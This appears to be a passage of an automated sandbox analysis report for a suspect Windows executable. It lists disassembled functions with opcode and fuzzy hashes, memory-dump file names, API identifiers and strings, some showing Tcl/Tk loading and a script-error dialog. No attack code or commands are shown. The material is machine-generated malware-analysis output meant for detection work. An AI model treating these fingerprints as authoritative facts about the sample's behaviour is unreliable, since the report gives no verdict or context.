                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3215553584-0
                                                                                                                                                                                                                                      • Opcode ID: 33c1c355f770a45dc32ec47b5556db51f5a056321d098f55ce731dda09118c74
                                                                                                                                                                                                                                      • Instruction ID: 6f0a0a92fb37b239c4cbf97b5c30a3f452ddcc782429152e7f34e9626009cf4b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 33c1c355f770a45dc32ec47b5556db51f5a056321d098f55ce731dda09118c74
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3B318B22A18602C5F651AB55884237C2A90BF92FB6F910139EA5DC73D2CF7CED42CB21
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C9EF1 Relevance: 1.6, APIs: 1, Instructions: 61COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: HandleModule$AddressFreeLibraryProc
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3947729631-0
                                                                                                                                                                                                                                      • Opcode ID: faec72fd928e516d4d760f4a89c99e996b8e0a7f11e884b20412009018256aa7
                                                                                                                                                                                                                                      • Instruction ID: 2643030d86326de2c7a91786dd3cd9a68898d66eafe720b7ef84b51073518927
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: faec72fd928e516d4d760f4a89c99e996b8e0a7f11e884b20412009018256aa7
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5B217C32A04745CAEB248FA4C4452EC37A5FF05F28F544A39E61D86AC5DF38ED85CB50
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C64A8 Relevance: 1.6, APIs: 1, Instructions: 55COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3215553584-0
                                                                                                                                                                                                                                      • Opcode ID: c06f943cf2cfad6cae40bb945918742757c954c3eb67e691afc5a150f41a7f23
                                                                                                                                                                                                                                      • Instruction ID: cb91ecab3abe36ba48d6036aba1a6917d28b1669c78d1384ef2ab3a7ff8aec4e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c06f943cf2cfad6cae40bb945918742757c954c3eb67e691afc5a150f41a7f23
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 94113B21E1C681C1EA709F55940127AA264BF97FA4F984479EE8E87A86DF7CED40C720
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850D6CAC Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3215553584-0
                                                                                                                                                                                                                                      • Opcode ID: c0ad99c40d53020ccb328d164a39266f2dfd48b33636b9c7a3122610519525da
                                                                                                                                                                                                                                      • Instruction ID: 95aa5252910ea0fe1f3448bf82710efe7573e1c121d6cf2eecf3b11101587941
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c0ad99c40d53020ccb328d164a39266f2dfd48b33636b9c7a3122610519525da
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 35214C32A18A85C6DB618F18E44077976A0FF85F64F644338EA5D866DADF3DDC05CB00
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C04FC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3215553584-0
                                                                                                                                                                                                                                      • Opcode ID: e4e6805aeaf9884a68cba76bd798531beecc2a98c7129b287afec428eebc8cdc
                                                                                                                                                                                                                                      • Instruction ID: 381e27f83dc42baed944a9013fb80e23ba9196fbf4d686c88af136394d4b7152
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e4e6805aeaf9884a68cba76bd798531beecc2a98c7129b287afec428eebc8cdc
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4901C421A08741C1EA04DB56991016EA691BF97FF0F184638EEAC97BDACF3CEC01C310
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C827C Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3215553584-0
                                                                                                                                                                                                                                      • Opcode ID: 94f8dedca99e8e5f97d7803b63f363a8ae8936c7a006dfc60ce4e9976b5f5c5f
                                                                                                                                                                                                                                      • Instruction ID: 1dfc6029bad99adca8b58393b94018e56e759a8e323264059e7a10afd8472808
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 94f8dedca99e8e5f97d7803b63f363a8ae8936c7a006dfc60ce4e9976b5f5c5f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6D116A36A18A42C2F3109B14A84406976A4FF82F60F65013DEA8EC76D2DF3CFC11D758
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CF158 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RtlAllocateHeap.NTDLL(?,?,00000000,00007FF6850CB9A6,?,?,?,00007FF6850CAB67,?,?,00000000,00007FF6850CAE02), ref: 00007FF6850CF1AD
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AllocateHeap
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1279760036-0
                                                                                                                                                                                                                                      • Opcode ID: 3903a8e07e771c3ce20f22a7cfda351bfc6825da59dd5d1b3ed6874a84ef80bd
                                                                                                                                                                                                                                      • Instruction ID: c8135731370953c23dc3149f34d71d6e8f24319b69051cf47bf08a383d918018
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3903a8e07e771c3ce20f22a7cfda351bfc6825da59dd5d1b3ed6874a84ef80bd
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 02F01D55B09606C1FE689762D9212B952917F8AFA0F4C5539CD0EC63D2DF5CEC81CA31
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CDBBC Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RtlAllocateHeap.NTDLL(?,?,?,00007FF6850C0D24,?,?,?,00007FF6850C2236,?,?,?,?,?,00007FF6850C3829), ref: 00007FF6850CDBFA
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AllocateHeap
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1279760036-0
                                                                                                                                                                                                                                      • Opcode ID: 4a58605cc4c1e1369a1067e1172dc77d995423b1642967883a658540b08b4ee9
                                                                                                                                                                                                                                      • Instruction ID: 0bc7f4aaac11278011543a9038dcb47972db97b484f6d0df2093063360d32009
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4a58605cc4c1e1369a1067e1172dc77d995423b1642967883a658540b08b4ee9
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E4F0DA12A0D28BC5FE78666299512B516907F86FB5F084678DD2EC66C2DF5CBC50C620
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C5310 Relevance: 1.5, APIs: 1, Instructions: 21COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CriticalDeleteSection
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 166494926-0
                                                                                                                                                                                                                                      • Opcode ID: 5f4f7c98055b7df98e08c70d5aed4f044aeab7e041fa947f6bb40918b24a7818
                                                                                                                                                                                                                                      • Instruction ID: 2ace2486c0bd5e81b1f2357c791333c1193831c928f4f6b541ce710b822ee60e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5f4f7c98055b7df98e08c70d5aed4f044aeab7e041fa947f6bb40918b24a7818
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 26F06559E09902C1FB60AB66E8A13782360BFD9F35F50013DD84EC62B3CF6CAC94C225
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B83E0 Relevance: 1.3, APIs: 1, Instructions: 92COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: DirectoryErrorLastRemove
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 377330604-0
                                                                                                                                                                                                                                      • Opcode ID: 5fa28e36025bd9fe9b761eb46eefd3724bf101683452c01a56c5c02a220ce566
                                                                                                                                                                                                                                      • Instruction ID: 58994137a761e722cd9574ae7d8486a941b4487db5b1f0974775cf9d40c465a5
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5fa28e36025bd9fe9b761eb46eefd3724bf101683452c01a56c5c02a220ce566
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9541C516D1C685C1EB11AB24D5512FC2360FFA5B54F44A23ADF8D922A3EF28EAC8D301
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Non-executed Functions

                                                                                                                                                                                                                                      Function 00007FF6850B6EF0 Relevance: 164.8, APIs: 31, Strings: 63, Instructions: 263libraryloaderCOMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressProc
                                                                                                                                                                                                                                      • String ID: Failed to get address for Tcl_Alloc$Failed to get address for Tcl_ConditionFinalize$Failed to get address for Tcl_ConditionNotify$Failed to get address for Tcl_ConditionWait$Failed to get address for Tcl_CreateInterp$Failed to get address for Tcl_CreateObjCommand$Failed to get address for Tcl_CreateThread$Failed to get address for Tcl_DeleteInterp$Failed to get address for Tcl_DoOneEvent$Failed to get address for Tcl_EvalEx$Failed to get address for Tcl_EvalFile$Failed to get address for Tcl_EvalObjv$Failed to get address for Tcl_Finalize$Failed to get address for Tcl_FinalizeThread$Failed to get address for Tcl_FindExecutable$Failed to get address for Tcl_Free$Failed to get address for Tcl_GetCurrentThread$Failed to get address for Tcl_GetObjResult$Failed to get address for Tcl_GetString$Failed to get address for Tcl_GetVar2$Failed to get address for Tcl_Init$Failed to get address for Tcl_MutexLock$Failed to get address for Tcl_MutexUnlock$Failed to get address for Tcl_NewByteArrayObj$Failed to get address for Tcl_NewStringObj$Failed to get address for Tcl_SetVar2$Failed to get address for Tcl_SetVar2Ex$Failed to get address for Tcl_ThreadAlert$Failed to get address for Tcl_ThreadQueueEvent$Failed to get address for Tk_GetNumMainWindows$Failed to get address for Tk_Init$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
                                                                                                                                                                                                                                      • API String ID: 190572456-2208601799
                                                                                                                                                                                                                                      • Opcode ID: 7c721144a29f82c0df2178d2ac20e82e85a8926ad6b3cde14d1131664071774a
                                                                                                                                                                                                                                      • Instruction ID: 68286e75b19e31f288ff51c55026d9acb48f2557983e10f43c3e8c61e94ca195
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7c721144a29f82c0df2178d2ac20e82e85a8926ad6b3cde14d1131664071774a
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E4E1BF66E4EB07D0FA559F08A89017467A1BF04FB0B94527DD80EC63A8EF7CBD48C611
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B1F50 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 188windowCOMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: MessageSend$Window$Create$Move$ObjectSelect$#380BaseClientDialogDrawFontIndirectInfoParametersRectReleaseSystemTextUnits
                                                                                                                                                                                                                                      • String ID: BUTTON$Close$EDIT$Failed to execute script '%ls' due to unhandled exception: %ls$STATIC
                                                                                                                                                                                                                                      • API String ID: 2446303242-1601438679
                                                                                                                                                                                                                                      • Opcode ID: 2b11bbb19a83a086465840dcd7a103c40d81e06c4cc6566eb68c4ee1e4e9da55
                                                                                                                                                                                                                                      • Instruction ID: cd4c3d4ab82a869cd4f6a388528ff0ff20e2d66d214a81f8c1b3395e019fc999
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2b11bbb19a83a086465840dcd7a103c40d81e06c4cc6566eb68c4ee1e4e9da55
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 02A16936608B85C7E714CF11E4947AAB760FB88B94F508229EB9D83B24CF7DE564CB40
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850D471C Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
                                                                                                                                                                                                                                      • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                                                                                                                                                                                                      • API String ID: 808467561-2761157908
                                                                                                                                                                                                                                      • Opcode ID: 462ebf29a53f9f8e0898a565754c8078d18c0a01f6b8af8c35fed8b76f3e05ac
                                                                                                                                                                                                                                      • Instruction ID: 4bc7e42d33b5f4d1e9737f5dc3d7a27176ad7cc8c3124c288a93242de1de0142
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 462ebf29a53f9f8e0898a565754c8078d18c0a01f6b8af8c35fed8b76f3e05ac
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 29B2E376E19282CBE7648E64D4407FD77A1FF54BA9F501239DA0D9BA88DF78AD00CB40
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B8560 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 52windowCOMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      APIs
